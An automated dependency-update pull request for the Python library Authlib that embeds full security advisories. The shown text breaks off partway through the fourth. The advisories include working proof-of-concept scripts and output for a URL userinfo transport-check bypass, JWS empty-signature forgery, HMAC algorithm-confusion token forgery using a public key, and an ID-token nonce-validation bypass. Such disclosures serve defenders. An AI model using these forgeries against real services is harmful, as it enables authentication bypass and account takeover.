Changelog: https://docs.authlib.org/en/stable/upgrades/changelog.html#changelog-1-9-1

What's Changed

Full Changelog: https://github.com/authlib/authlib/compare/v1.9.0...v1.9.1

v1.9.0

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/authlib/authlib/compare/v1.8.0...v1.9.0

v1.8.0

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/authlib/authlib/compare/v1.7.2...v1.8.0


Configuration

📅 Schedule: (in timezone Europe/Paris)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [Authlib](https://github.com/authlib/authlib) | `1.7.2` → `1.9.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/authlib/1.9.1?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/authlib/1.7.2/1.9.1?slim=true) | --- ### Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts [CVE-2026-114614](https://nvd.nist.gov/vuln/detail/CVE-2026-114614) / [GHSA-jj7h-c3hg-m23x](https://github.com/advisories/GHSA-jj7h-c3hg-m23x) / PYSEC-2026-4354 <details> <summary>More information</summary> #### Details ##### Summary `authlib.common.security.is_secure_transport()` is used throughout Authlib to enforce the OAuth 2.0 / OIDC requirement that endpoint and redirect URIs use TLS, with an RFC 8252 §7.3 exemption for loopback `http://` URIs. The check is implemented as a textual `str.startswith` prefix match, so a URL such as `http://localhost:80@evil.example/cb` — whose actual host is `evil.example` and whose scheme is plain `http` — is accepted as "secure". An attacker who can supply a URL to any of the sinks that rely on this check (OIDC RP-Initiated Logout dynamic client registration, RFC 8414 authorization-server metadata validation, error-redirect rendering) can smuggle a cleartext non-loopback URL past the TLS-required guard. This is a defense-in-depth / spec-conformance failure; severity is low. ##### Details **Affected versions:** `authlib >= 0.13, <= 1.7.2` (all releases containing the loopback prefix exemption; verified against 1.7.2, the current latest) The vulnerable function, from `authlib/common/security.py` at v1.7.2: ```python 13 def is_secure_transport(uri): 14 """Check if the uri is over ssl.""" 15 if os.getenv("AUTHLIB_INSECURE_TRANSPORT"): 16 return True 17 18 uri = uri.lower() 19 return uri.startswith( 20 ("https://", "http://localhost:", "http://127.0.0.1:", "http://[::1]:") 21 ) ``` Per RFC 3986 §3.2 the authority component of a URI is `[ userinfo "@" ] host [ ":" port ]`. The URL `http://localhost:80@evil.example/cb` therefore has userinfo `localhost:80` and host `evil.example`. Because the check is a raw prefix match against the full URL string, the `http://localhost:` prefix matches the userinfo portion and the function returns `True` even though the scheme is `http` and the host is an arbitrary external name. The trailing `:` in each allow-list entry — presumably intended to force a `host:port` shape and reject `http://localhost.evil.com` — is also satisfied by the `user:password` separator inside userinfo, so `http://localhost:@evil.example/` matches too. The same construction works against all three loopback prefixes (`http://127.0.0.1:...@evil.example/`, `http://[::1]:...@evil.example/`). `is_secure_transport()` is consumed at the following locations in v1.7.2, none of which independently reject URLs containing a userinfo component: - `authlib/oidc/rpinitiated/registration.py:50-57` — validation of `post_logout_redirect_uris` during OIDC dynamic client registration for public clients (`token_endpoint_auth_method == "none"`). The preceding `is_valid_url()` check (`authlib/common/urls.py:142-146`) only requires `parsed.scheme and parsed.hostname` and does **not** reject userinfo, so the crafted URL passes both guards. A public client can therefore register `http://localhost:80@attacker.example/cb` as a post-logout redirect target; the OpenID Provider will later 302 the end-user's browser to that cleartext non-loopback URL (carrying `state`). - `authlib/oauth2/rfc8414/models.py:61,75,100,115,123,248,284` — validation of `issuer`, `authorization_endpoint`, `token_endpoint`, `jwks_uri`, `registration_endpoint`, `revocation_endpoint`, `introspection_endpoint` in Authorization Server Metadata / OIDC Discovery documents. A relying party using `AuthorizationServerMetadata.validate()` would accept endpoint values of this form as satisfying the "MUST use https" requirement when they do not. - `authlib/oidc/rpinitiated/discovery.py:12` — validation of `end_session_endpoint` in provider metadata. - `authlib/oauth2/rfc6749/errors.py:64` and `authlib/oauth1/rfc5849/errors.py:33` — governs how `redirect_uri` is rendered in error bodies (cosmetic). The `http://localhost:` prefix was introduced in commit `0225c86b` (first released in v0.13); `http://127.0.0.1:` and `http://[::1]:` were added later in the 1.6.x line. All variants share the same prefix-match weakness. ##### PoC Against the current latest release (1.7.2): ```sh python3 -m venv venv ./venv/bin/pip install 'authlib==1.7.2' ./venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ is_secure_transport() must return True only for https:// URLs, or http:// URLs whose host is a loopback address (localhost / 127.0.0.1 / ::1). Bypass: http://localhost:80@evil.example/cb has host 'evil.example' (userinfo = 'localhost:80') per RFC 3986, but matches the prefix 'http://localhost:' and is therefore accepted as secure. """ from urllib.parse import urlparse from authlib.common.security import is_secure_transport cases = [ "http://localhost:80@evil.example/cb", "http://127.0.0.1:80@evil.example/cb", "http://localhost:@evil.example/cb", ] vulnerable = False for url in cases: parsed = urlparse(url) ok = is_secure_transport(url) print(f"is_secure_transport({url!r}) = {ok} " f"[actual host = {parsed.hostname!r}, scheme = {parsed.scheme!r}]") if ok and parsed.hostname not in ("localhost", "127.0.0.1", "::1") and parsed.scheme != "https": vulnerable = True if vulnerable: print("\nVULNERABLE: is_secure_transport() returned True for a plain-HTTP " "URL whose host is NOT a loopback address.") else: print("\nNOT VULNERABLE") assert vulnerable, "expected bypass not observed" ``` Expected output: ``` is_secure_transport('http://localhost:80@evil.example/cb') = True [actual host = 'evil.example', scheme = 'http'] is_secure_transport('http://127.0.0.1:80@evil.example/cb') = True [actual host = 'evil.example', scheme = 'http'] is_secure_transport('http://localhost:@evil.example/cb') = True [actual host = 'evil.example', scheme = 'http'] VULNERABLE: is_secure_transport() returned True for a plain-HTTP URL whose host is NOT a loopback address. ``` ##### Impact Deployments are affected if they rely on `is_secure_transport()` — directly or via the Authlib call sites listed above — to reject cleartext non-loopback URLs supplied by an external party. The most realistic path is an OpenID Provider that enables OIDC dynamic client registration and RP-Initiated Logout: a public client can register a `post_logout_redirect_uris` entry of the form `http://localhost:80@attacker.example/…`, which the provider will later use as an open-redirect target over plain HTTP. Relying parties that call `AuthorizationServerMetadata.validate()` on fetched discovery documents are also affected, though exploiting that sink requires the attacker to influence the metadata document. This does **not** bypass the OAuth 2.0 redirect-URI exact-match registration check and does not by itself yield authentication bypass or token theft; it defeats a TLS-required hardening check. **Suggested fix:** Parse the URI with `urllib.parse.urlsplit()` and return `True` only if `scheme == "https"`, or `scheme == "http"` and `hostname in {"localhost", "127.0.0.1", "::1"}`; additionally reject any URI whose parsed `username`/`password` is non-empty at these validation sites. #### Severity - CVSS Score: 2.6 / 10 (Low) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-jj7h-c3hg-m23x](https://github.com/authlib/authlib/security/advisories/GHSA-jj7h-c3hg-m23x) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114614](https://nvd.nist.gov/vuln/detail/CVE-2026-114614) - [https://github.com/authlib/authlib/commit/95ad1f90acf0c7b9cf2a8f25e6eb3f1135b8dc70](https://github.com/authlib/authlib/commit/95ad1f90acf0c7b9cf2a8f25e6eb3f1135b8dc70) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.8.0](https://github.com/authlib/authlib/releases/tag/v1.8.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jj7h-c3hg-m23x) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-114614](https://nvd.nist.gov/vuln/detail/CVE-2026-114614) / [GHSA-jj7h-c3hg-m23x](https://github.com/advisories/GHSA-jj7h-c3hg-m23x) / PYSEC-2026-4354 <details> <summary>More information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. From 0.13 until 1.8.0, authlib.common.security.is_secure_transport() uses a textual prefix comparison for loopback HTTP exemptions, so a URL whose userinfo begins with a loopback host can be accepted even when its parsed host is an external non-loopback system. An external party able to supply a URL to OIDC RP-Initiated Logout registration, authorization-server metadata validation, or another call site can bypass the TLS-required guard and cause cleartext redirection or acceptance of cleartext endpoints. The issue does not bypass redirect URI exact matching and does not by itself forge tokens or authenticate users. The vulnerable authlib.common.security.is_secure_transport() implementation in authlib/common/security.py misinterprets the userinfo component before OIDC RP-Initiated Logout dynamic client registration and other consumers enforce transport security. This issue is fixed in version 1.8.0. #### Severity - CVSS Score: 3.5 / 10 (Low) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.8.0](https://github.com/authlib/authlib/releases/tag/v1.8.0) - [https://github.com/authlib/authlib/commit/95ad1f90acf0c7b9cf2a8f25e6eb3f1135b8dc70](https://github.com/authlib/authlib/commit/95ad1f90acf0c7b9cf2a8f25e6eb3f1135b8dc70) - [https://github.com/authlib/authlib/security/advisories/GHSA-jj7h-c3hg-m23x](https://github.com/authlib/authlib/security/advisories/GHSA-jj7h-c3hg-m23x) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4354) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Authlib: empty signatures validation in JWS JSON deserialization [CVE-2026-96760](https://nvd.nist.gov/vuln/detail/CVE-2026-96760) / [GHSA-6v38-4h7w-rj9h](https://github.com/advisories/GHSA-6v38-4h7w-rj9h) <details> <summary>More information</summary> #### Details Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key. ##### Root cause `authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact: ```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ``` `is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined. ##### Reproduction ```python import base64 from authlib.jose import JsonWebSignature def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []} print(jws.deserialize_json(forged, key=None)) ``` Observed on authlib 1.8.0, Python 3.14, clean virtualenv: ``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ``` [C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way. For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library. ##### Impact Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material. ##### What would fix it In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #&#8203;938 proposes the same thing. #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h](https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96760](https://nvd.nist.gov/vuln/detail/CVE-2026-96760) - [https://github.com/authlib/authlib/pull/938](https://github.com/authlib/authlib/pull/938) - [https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733](https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) - [https://kb.cert.org/vuls/id/762428](https://kb.cert.org/vuls/id/762428) - [https://www.kb.cert.org/vuls/id/762428](https://www.kb.cert.org/vuls/id/762428) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6v38-4h7w-rj9h) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys [CVE-2026-114615](https://nvd.nist.gov/vuln/detail/CVE-2026-114615) / [GHSA-7vr2-2fgp-9w7p](https://github.com/advisories/GHSA-7vr2-2fgp-9w7p) / PYSEC-2026-4355 <details> <summary>More information</summary> #### Details ##### Summary `OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an HMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` — anchored at byte 0 — while the loader that consumes the identical bytes on the asymmetric path (`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`) skips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one leading byte** — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the issuer's public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as authentic. This is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory's fix is exactly this guard (`git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py` returns a single commit, `3bea812` "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #&#8203;654), and the original attack works again unchanged whenever the stored PEM does not start at offset 0. Reproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main` (`c529a61`), with `cryptography` 50.0.2. ##### Preconditions Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction. 1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt` is built at `authlib/jose/__init__.py:55-72` with the full list `["HS256","HS384","HS512","RS256",...,"EdDSA"]`, and `JsonWebToken.decode` (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the documented object has no way to narrow it. This is the first code sample in `docs/jose/jwt.rst:21-31`. This hazard is already documented: `docs/jose/jwt.rst:73-79` says "This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows symmetric macs and asymmetric signatures.", and `docs/jose/jwt.rst:94-98` says "You should never combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is **not** that the mixed list exists — it is that the `oct_key.py:81` backstop shipped for precisely that documented hazard does not hold. 2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: * one leading newline — what a triple-quoted Python literal produces * one leading space * four-space indentation — an indented YAML/JSON/TOML config block * a UTF-8 BOM — a Windows-editor artifact * a leading comment line * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap. ##### Details `authlib/jose/rfc7518/oct_key.py:10-17` ```python POSSIBLE_UNSAFE_KEYS = ( b"-----BEGIN ", b"---- BEGIN ", b"ssh-rsa ", b"ssh-dss ", b"ssh-ed25519 ", b"ecdsa-sha2-", ) ``` `authlib/jose/rfc7518/oct_key.py:78-84` ```python raw_key = to_bytes(raw) ##### security check if raw_key.startswith(POSSIBLE_UNSAFE_KEYS): raise ValueError("This key may not be safe to import") key = cls(raw_key=raw_key, options=options) ``` `bytes.startswith` is anchored. The loader on the asymmetric path is not: `authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` / `load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference is exploitable. Reach, for a caller of the documented object: * `authlib/jose/rfc7518/jws_algs.py:59` — `HMACAlgorithm.prepare_key(raw_data)` returns `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling. * `authlib/jose/rfc7519/jwt.py:80` — `JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked only against the instance's list. * `authlib/jose/__init__.py:55-72` — that list contains both HS\* and RS\*/ES\*/PS\*/EdDSA. So `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC secret, and it is bypassed by a single leading byte. ##### PoC `poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented `jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer's RSA public key embedded as a triple-quoted Python literal (hence one leading newline). The attacker is given **only** that public key. ``` authlib=1.8.0 cryptography=50.0.2 flask=3.1.3 guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS) call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param] algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..]) [baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}') [baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}') [CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}') [CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import [CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key. forged token header: {'alg': 'HS256', 'typ': 'JWT'} [ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}') ``` The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation. Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes: ``` ##### RSA-2048/RS256 canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin [CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError ##### EC-P256/ES256 identical results for all seven rows Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK. ``` ##### Steps to reproduce 1. `pip install authlib==1.8.0 cryptography flask requests` 2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line). 3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them. 4. `from authlib.jose import jwt` then `tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)` 5. `jwt.decode(tok, mutated_pem)` — verification succeeds and the claims are returned. ##### Impact Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by definition, normally served at `/.well-known/jwks.json` or in IdP metadata — forges tokens with arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP 200 and the application's admin secrets for `sub=attacker`. Authlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`, read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented footgun it backstops. Two notes for triage, in the interest of completeness: * `authlib.jose` emits `AuthlibDeprecationWarning` ("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`, and still carries the download volume above. * **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there. ##### Suggested remediation Either of these closes the class rather than one more byte form: 1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` / `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it *is* the loader. 2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again the next time `cryptography` becomes more tolerant. Separately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter would let callers of the documented module-level object apply the mitigation the docs recommend without constructing a second `JsonWebToken`. ##### Credit Found by zer0d4y5. Happy to test a patch branch before release. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p](https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114615](https://nvd.nist.gov/vuln/detail/CVE-2026-114615) - [https://github.com/authlib/authlib/pull/945](https://github.com/authlib/authlib/pull/945) - [https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf](https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7vr2-2fgp-9w7p) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authlib: ID token can disable its own nonce validation via the nonce_supported claim [CVE-2026-114617](https://nvd.nist.gov/vuln/detail/CVE-2026-114617) / [GHSA-c5mf-xmp2-59rc](https://github.com/advisories/GHSA-c5mf-xmp2-59rc) / PYSEC-2026-4357 <details> <summary>More information</summary> #### Details ##### Summary `OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token. An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party. The code is identical in `authlib/integrations/base_client/sync_openid.py:82-83` and `authlib/integrations/base_client/async_openid.py:84-85`, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a). Preconditions: the ID token must carry a valid signature and pass `iss` and `aud` validation, and the attacker must be able to supply it to `parse_id_token()`. Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling `parse_id_token()` directly, are affected. ##### Details ##### Affected code `authlib/integrations/base_client/sync_openid.py:80-85`, in `parse_id_token()`: ```python claims = claims_cls(token.claims, token.header, claims_options, claims_params) ##### https://github.com/authlib/authlib/issues/259 if claims.get("nonce_supported") is False: claims.params["nonce"] = None claims.validate(leeway=leeway) ``` `authlib/integrations/base_client/async_openid.py:82-86` contains the same code. ##### Source of the claim `claims` is constructed from `token.claims`, which is the decoded payload of the ID token passed to `parse_id_token()`: ```python token = jwt.decode( token["id_token"], key=key_set, registry=JWSRegistry(algorithms=alg_values, strict_check_header=False), ) ... claims = claims_cls(token.claims, token.header, claims_options, claims_params) ``` `claims.get("nonce_supported")` therefore resolves against the ID token payload. It is not read from `load_server_metadata()`, from client configuration, or from any other source under the relying party's control. ##### Effect on validation `IDToken.validate_nonce()` at `authlib/oidc/core/claims.py:69-83` performs the comparison only when the expected value is truthy: ```python nonce_value = self.params.get("nonce") if nonce_value: if "nonce" not in self: raise MissingClaimError("nonce") if nonce_value != self["nonce"]: raise InvalidClaimError("nonce") ``` Assigning `claims.params["nonce"] = None` makes `nonce_value` falsy, so both the presence check and the equality check are skipped. No error is raised and `claims.validate()` completes normally. The docstring of that same method states the requirement: > If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request. ##### Trigger condition The comparison is `is False`, so only a JSON boolean `false` activates the branch. A string value `"false"` does not, and nonce validation proceeds normally in that case. ##### Origin The branch was added in commit `3ca7333c` ("Skip verifying nonce for Apple case") to accommodate a provider that emits a `nonce_supported` claim, as referenced by the inline comment pointing to issue #&#8203;259. ##### Remediation Read the flag from server metadata or client configuration rather than from the token: ```python metadata = self.load_server_metadata() if metadata.get("nonce_supported") is False: claims.params["nonce"] = None ``` This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation. ##### Proof of concept ##### Environment - authlib 1.8.0, commit `c529a61a` (tag `v1.8.0`) - Python 3.14 - joserfc 1.7.5 - No network access required ``` git clone https://github.com/authlib/authlib.git && cd authlib git checkout c529a61a python3 -m venv .venv .venv/bin/pip install -e . joserfc==1.7.5 .venv/bin/python poc.py ``` ##### Configuration The relying party is a subclass of the shipped `OpenIDMixin` supplying only `client_id` and `load_server_metadata()`. `fetch_jwk_set()` returns `metadata["jwks"]` directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed. The signing key is a generated RSA key. All three tokens are signed with it, carry `iss` and `aud` matching the relying party configuration, and are within their validity window. The relying party's session nonce is `nonce-the-rp-actually-generated`; every token carries the different nonce `nonce-from-the-captured-token`. ##### poc.py ```python from joserfc import jwt from joserfc.jwk import RSAKey from authlib.integrations.base_client.sync_openid import OpenIDMixin ISSUER = "https://as.example" CLIENT_ID = "rp-client" KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"}) JWKS = {"keys": [KEY.as_dict(private=False)]} class RP(OpenIDMixin): client_id = CLIENT_ID def load_server_metadata(self): return {"issuer": ISSUER, "jwks": JWKS} def id_token(nonce, sub="victim", nonce_supported=None): claims = {"iss": ISSUER, "sub": sub, "aud": CLIENT_ID, "iat": 1000000000, "exp": 4000000000, "auth_time": 1000000000} if nonce is not None: claims["nonce"] = nonce if nonce_supported is not None: claims["nonce_supported"] = nonce_supported return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY) rp = RP() SESSION_NONCE = "nonce-the-rp-actually-generated" CAPTURED_NONCE = "nonce-from-the-captured-token" cases = [ ("[1] no nonce_supported claim", None), ("[2] nonce_supported: false", False), ("[3] nonce_supported: \"false\"", "false"), ] for label, flag in cases: tok = {"access_token": "AT", "id_token": id_token(CAPTURED_NONCE, nonce_supported=flag)} try: user = rp.parse_id_token(tok, nonce=SESSION_NONCE) print(f"{label:34s} -> ACCEPTED sub={user['sub']}") except Exception as e: print(f"{label:34s} -> REJECTED {type(e).__name__}: {e}") ``` ##### Expected result All three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected. ##### Observed result ``` [1] no nonce_supported claim -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce' [2] nonce_supported: false -> ACCEPTED sub=victim [3] nonce_supported: "false" -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce' ``` Case [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the `nonce_supported` claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean. The script exits 0 and produces identical output across three runs. ##### Impact ##### Type of vulnerability Reliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294). The nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this 